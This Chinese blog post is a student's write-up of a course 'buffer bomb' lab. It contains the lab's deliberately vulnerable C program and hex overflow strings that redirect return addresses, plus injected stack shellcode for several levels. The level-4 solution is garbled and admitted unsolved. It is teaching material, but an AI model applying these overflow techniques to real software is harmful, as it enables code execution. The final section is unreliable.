计算机系统实验-缓冲区炸弹

计算机系统实验-缓冲区炸弹

概述

攻击指令:0XDDDBBFFF
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

int getbuf(void);
void test(void);

int cookie=0x11223344;
unsigned long rand1_h,rand1_l,rand_div;

/* 产生一个0~divv-1之间的随机数,同时更新随机数种子 */
void GenerateRandomNumber(unsigned long divv)
{
    
    
	long long x = rand1_h;
	x *= 0x6AC690C5;
	x += rand1_l;
	
	rand1_h = (unsigned long)x;
	rand1_l = (unsigned long)(x>>32);
	if (divv==0) return;
	
	rand_div = rand1_h % divv;
}

/* 输入16进制字符串,并转换为对应的字符串,以\0结束 */
char*getxs(char*dest)
{
    
    
  int c;
  int even =1; /* Have read even number of digits */
  int otherd =0; /* Other hex digit of pair */
  char*sp = dest;
  while ((c = getchar()) != EOF && c !='\n' && c != '\r') {
    
    
    if (isxdigit(c)) {
    
    
      int val;
      if ('0'<= c && c <='9')
        val = c -'0';
      else if ('A'<= c && c <='F')
        val = c -'A'+10;
      else
        val = c -'a'+10;
      if (even) {
    
    
        otherd = val;
        even =0;
      }
      else {
    
    
        *sp++= otherd *16+ val;
        even =1;
      }
    }
  }
  *sp++='\0';
  return dest;
}

/* 获取一行输入字符串 */
int getbuf(void)
{
    
    
	char buf[12];
	getxs(buf);
	return 1;
}

/* 主测试程序 */
void test(void)
{
    
    
	int val;
	char *localbuf;
	volatile int bird = 0xdeadbeef;	//金丝雀保护机制
	GenerateRandomNumber(23);
	localbuf = (char *)_alloca(rand_div+1);	//在栈上分配随机空间
	localbuf[0] = 'l';

	val = getbuf();
	/* 检测是否栈被破坏 */
	if (bird != 0xdeadbeef) {
    
    
		printf("不妙!鸟被杀死,栈已经被你破坏了!\n");
	}
	else if (val == cookie) {
    
    
		printf("不错哦,缓冲区溢出成功,而且getbuf返回 0X%08X\n", val);
	}
	else if (val == 1) {
    
    
		printf("缓冲区没有溢出.....攻击失败,请重来吧\n");
	}
	else {
    
    
		printf("不对哦,虽然缓冲区溢出成功,但是getbuf返回 0X%08X\n", val);
	}
}

/* 第1只木马,只需要修改返回地址,即可进入 */
void Trojan1(void)
{
    
    
	printf("恭喜你!你已经成功偷偷运行了第1只木马!\n");
	printf("通过第1只木马测试\n");
	exit(0);
}

/* 第2只木马,不仅需要修改返回地址,而且要修改栈中返回的结果 */
void Trojan2(int val)
{
    
    
	if (val == cookie) {
    
    
		printf("不错哦!第2只木马运行了,而且通行密码是正确的!(0X%08X)\n", val);
	} else
		printf("需要加油!虽然第2只木马运行了,但是通行密码是不正确的!(0X%08X)\n", val);
	if (val == cookie)
		printf("通过第2只木马测试\n");
	exit(0);
}

/* 第3只木马,本关任务是构造特定的机器代码放置在栈内,然后将返回地址置为该段特定代码的入口。此段代码负责将global_value设置为想要的cookie值 */
/* 汇编指令程序:
   MOV EAX,cookie
   MOV global_val,EAX
   PUSH Trojan3
   RET
   
   0:   a1 e4 c1 04 08          MOV    EAX,0x804c1e4
   5:   a3 ec c1 04 08          MOV    0x804c1ec,EAX
   a:   68 eb 8c 04 08          PUSH   $0x8048ceb
   f:   c3                      RET
*/
int global_value = 0;
void Trojan3(int val)
{
    
    
	if (global_value == cookie) {
    
    
		printf("厉害!第3只木马运行了,而且你修改了全局变量正确!global_value = 0X%08X\n", global_value);
	} else
		printf("差一点!第3只木马运行了,但是全局变量修改错误!global_value = 0X%08X\n", global_value);
	if (global_value == cookie)
		printf("通过第3只木马测试\n");
	exit(0);
}

/* 第4只木马,本关任务是构造特定的机器代码放置在栈内,然后将返回地址置为该段特定代码的入口。此段代码负责将global_value设置为想要的cookie值,需要正常返回 */
/* 汇编指令程序:
   MOV EAX,cookie
   MOV global_val,EAX
   PUSH Trojan3
   RET
   
   0:   a1 e4 c1 04 08          MOV    EAX,0x804c1e4
   5:   a3 ec c1 04 08          MOV    0x804c1ec,EAX
   a:   68 eb 8c 04 08          PUSH   $0x8048ceb
   f:   c3                      RET
*/
void Trojan4(int val)
{
    
    
	if (global_value == cookie) {
    
    
		printf("厉害!第4只木马运行了,而且你修改了全局变量正确!global_value = 0X%08X\n", global_value);
	} else
		printf("差一点!第4只木马运行了,但是全局变量不对!global_value = 0X%08X\n", global_value);
	if (global_value == cookie)
		printf("通过第4只木马测试\n");
	return;	// 正常返回,需要修复栈
}

/* 主程序,依据学号,随机生成cookie值 */
int main(int argc, char *argv[])
{
    
    
	int i;
	char *MyRandomBuffer;
	printf("\t2018超级缓冲区炸弹,欢迎你!\n");
	printf("============================\n");
	
	if (argc == 1)
	{
    
    
		printf("使用方法:%s 学号后6位 [学号后6位] [学号后6位] ...\n",argv[0]);
		printf("你需要输入攻击字符串,以便种入木马,一旦出错,哇哈哈....\n");
		printf("请以十六进制形式输入攻击字符串,例如00 aa bb cc等等\n");
		return 0;
	}
	
	printf("欢迎你前来挑战! %s \n",argv[1]);
	/*依据学号,初始化一个随机数发生器*/
	rand1_h = (unsigned long)atoi(argv[1]);
	rand1_l=0x29A;
	GenerateRandomNumber(0);
	for (i=2;i<argc;i++)
	{
    
    
		rand1_l = (unsigned long)atoi(argv[i]);
		GenerateRandomNumber(0);
	}
	
	cookie = (int)rand1_h;
	printf("你的通行密码是0X%08X\n",cookie);
	printf("============================\n");
	printf("请输入攻击字符串(十六进制串):");
	GenerateRandomNumber(512);
	MyRandomBuffer = (char *)_alloca(rand_div+1);	//在栈上分配随机空间
	MyRandomBuffer[0] = 'h';
	test();

	return 0;
}

Trojan1

找到第一关Trojan1的地址起地址:004011E0   

构造攻击串 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 11 40 00

溢出到 004011E0

Trojan2

16 + 4 (返回Trojan2地址 00401200) + 8 (调用参数1 DDDBBFFF【主程序,依据学号,随机生成cookie值】)

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 40 00 00 00 00 00 DD DB BF FF ×

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 40 00 00 00 00 00 FF BF DB DD √

看来后边的cookie也要小端存放

Trojan3

Trojan3地址 00401250

全局变量global_value地址 : 00409004

_getbuf() 00401130

cookie 地址:00409000

   MOV EAX,cookie
   MOV global_val,EAX
   PUSH Trojan3
   RET
   
   0:   a1 00 90 40 00          MOV    EAX,0x00409000
   5:   a3 04 90 40 00          MOV    0x00409004,EAX
   a:   68 50 12 40 00          PUSH   $0x00401250
   f:   c3                      RET

修改全局变量的机器语言为,一共16个字节(刚好是buf开了12 + 4 (保存用)):

ebp : 0019FE14

找到buf[0]的位置

0019FE14 - 0xC =

a1 00 90 40 00 a3 04 90 40 00 68 50 12 40 00 c3 00 19 FE 08

让其返回到buf中占满16个字节去执行指令。

Trojan4

volatile int bird = 0xdeadbeef; //金丝雀保护机制

.text:00401192 jz short loc_4011B3

调试中这条语句跳到正确的地方

Trojan4地址 004012A0

call getbuf 0040117C

则00401181为执行getbuf正确之后的地址

在打0040117C断点,查看之前的ebp内容0x0019FE34

   MOV EAX,cookie
   MOV 0019FE34,EBP
   PUSH 00401181
   RET
   
   0:   b8 00 90 40 00          MOV    EAX,0x00409000
   5:   bd 34 FE 19 00          MOV    0019FE34,EBP
   a:   68 81 11 40 00          PUSH   $0x00401181
   f:   c3                      RET

b8 00 90 40 00 bd 34 FE 19 00 68 81 11 40 00 c3 A0 12 40 00

还木有想明白这一关。。。

猜你喜欢

转载自blog.csdn.net/Hopeace/article/details/123518304